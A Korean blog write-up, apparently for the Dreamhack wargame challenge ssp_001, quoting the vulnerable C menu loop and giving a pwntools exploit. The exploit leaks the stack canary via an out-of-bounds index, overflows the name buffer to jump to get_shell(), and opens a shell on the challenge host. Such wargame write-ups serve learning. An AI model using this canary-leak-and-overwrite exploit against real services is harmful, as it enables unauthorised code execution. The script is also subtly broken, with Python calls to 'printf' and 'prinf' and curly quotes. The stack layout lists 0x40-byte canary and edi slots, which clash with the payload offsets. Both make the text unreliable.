728x90
Description
이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
풀이
step 1. 접속 정보 사이트로 접속 & 파일 다운로드 후 확인
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
Canary가 보호기법으로 걸려있는 문제이다. 우선 문제 파일을 받아 ssp_001.c 코드를 확인하였다.
case ‘P’를 통해서 canary 값을 읽어올 수 있고, case ‘E’의 경우 BOF 공격이 가능하게 설계되어 있다. case ‘E’를 통해 BOF 공격을 수행해 ret address 값을 get_shell()의 주소로 바꾸면 될 것 같다.
2. 컴파일 후 디버깅 -> 스택 구조 확인
idx(4바이트)
name len (4)
select (2)
box (0x40)
name(0x40)
canary(0x40)
edi(0x40)
이전 ebp(4)
ret(4)
-> 이렇게 스택이 쌓여있음을 확인할 수 있었다.또한 get_shell함수의 주소도 알아냈다.
3.서버쪽에 P 값으르 주고, index 값을 128을 주면 카나리 값을 구할 수 있었다.
(페이로드)
from pwn import *
p = remote(“host3.dreamhack.games”, 23216)
canary = b””
i = 131
while i >= 128:
buf = p.recvuntil(b”> “)
printf(buf)
p.sendline(b”P”)
buf = p.recvuntil(b”index: “)
print(buf)
p.sendline(str(i).encode(encoding=’utf-8’))
print(i)
p.recvuntil(b”is: “)
buf = p.recvuntil(b”\n”)[:-1]
print(buf)
canary += buf
prinf(canary)
i -= 1
canary_int = int(canary, 16)
add_get_shell = 0x080486b9
payload = b”A” * 0x40 +p32(canary_int) + b”A” * 0x8 + p32(add_get_shell)
buf = p.recvuntil(b”> “)
print(buf)
p.send(b”E”)
buf = p.recvuntil(b”Size: “)
print(buf)
p.sendline(b”100”)
buf = p.recvuntil(b”Name: “)
print(buf)
p.sendline(payload)
print(payload)
p.interactive()
4. 코드를 실행하고 cat flag을 입력하면 flag 값을 찾아낼 수 있었다.
728x90
'dreamhack' 카테고리의 다른 글
[Dreamhack] simple_sqli (LEVEL 1) (1) | 2023.11.28 |
---|---|
[Dreamhack] pathtraversal (Beginner) (0) | 2023.11.15 |
[Dreamhack] image-storage (LEVEL 1) (0) | 2023.11.08 |
[Dreamhack] ex-reg-ex (Beginner) (0) | 2023.11.08 |
[Dreamhack] baby-linux (Beginner) (0) | 2023.11.07 |